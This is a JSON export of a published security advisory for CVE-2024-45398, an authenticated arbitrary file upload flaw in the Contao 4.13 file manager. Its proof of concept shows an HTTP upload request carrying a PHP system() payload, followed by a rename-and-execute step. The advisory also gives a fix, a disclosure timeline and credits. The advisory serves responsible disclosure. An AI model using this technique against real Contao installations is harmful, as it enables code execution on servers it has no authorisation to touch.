{"id":23603,"date":"2024-10-30T11:06:36","date_gmt":"2024-10-30T10:06:36","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2024-0013\/"},"modified":"2024-11-08T15:55:12","modified_gmt":"2024-11-08T14:55:12","slug":"usd-2024-0013","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2024-0013\/","title":{"rendered":"usd-2024-0013"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.0\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2024-0013 | Arbitrary File Upload in Contao 4.13<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2024-0013<br \/><strong>Product<\/strong>: Contao<br \/><strong>Affected Version<\/strong>: &lt; 4.13.49<br \/><strong>Vulnerability Type<\/strong>: Unrestricted Upload of File with Dangerous Type (CWE 434)<br \/><strong>Security Risk<\/strong>: High CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:L<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/contao.org\/<\/a><br \/><strong>Vendor Acknowledged Vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: CVE-2024-45398<br \/><strong>CVE Link<\/strong>: <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45398\" target=\"_blank\" rel=\"noopener\">CVE-2024-45398<\/a><\/p>\n<h3>Affected Component(s) (optional)<\/h3>\n<p>Contao File Manager<\/p>\n<h3>Desciption<\/h3>\n<p>Authenticated users in the backend with access to the file manager can bypass the upload filter to upload arbitrary files and execute them on the server.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>First, a php file is uploaded with a filename without a dot starting with any letting and ending with an allowed file ending:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/contao?act=move&amp;do=files&amp;mode=2&amp;pid=files%2F[...]<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">2<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost<\/span><br \/><span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]<br \/><\/span>-----------------------------1270547763761186843258108517<br \/>Content-Disposition: form-data; name=\"files\"; filename=\"ahtml\"<br \/>Content-Type: text\/html&lt;?php  system(\"date\");?&gt;<br \/>-----------------------------1270547763761186843258108517--<\/pre>\n<\/div>\n<p>Then the file is renamed to a php file via the file manager GUI and executed by clicking on the file icon in the file manager.<\/p>\n<h3>Fix<\/h3>\n<p>Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.<\/p>\n<h3>References<\/h3>\n<p><a>https:\/\/cwe.mitre.org\/data\/definitions\/434.html<\/a><br \/><a href=\"https:\/\/github.com\/contao\/contao\/security\/advisories\/GHSA-vm6r-j788-hjh5\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/contao\/contao\/security\/advisories\/GHSA-vm6r-j788-hjh5<\/a><\/p>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2024-08-15:<\/strong> Vulnerability identified by Jakob Steeg.<\/li>\n<li><strong>2024-09-02:<\/strong> Sent first contact request.<\/li>\n<li><strong>2024-09-05:<\/strong> Contao reports that a fix is being worked on.<\/li>\n<li><strong>2024-09-07:<\/strong> Contao published fix in version 4.13.49.<\/li>\n<li><strong>2024-10-30:<\/strong> This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Jakob Steeg of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2024-0013 | Arbitrary File Upload in Contao 4.13 Advisory ID: usd-2024-0013Product: ContaoAffected Version: &lt; 4.13.49Vulnerability Type: Unrestricted Upload of File with Dangerous Type (CWE 434)Security Risk: High CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:LVendor URL: https:\/\/contao.org\/Vendor Acknowledged Vulnerability: YesVendor Status: FixedCVE Number: CVE-2024-45398CVE Link: CVE-2024-45398 Affected Component(s) (optional) Contao File Manager Desciption Authenticated users in the backend with access to the [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-23603","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23603","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=23603"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23603\/revisions"}],"predecessor-version":[{"id":23608,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23603\/revisions\/23608"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=23603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}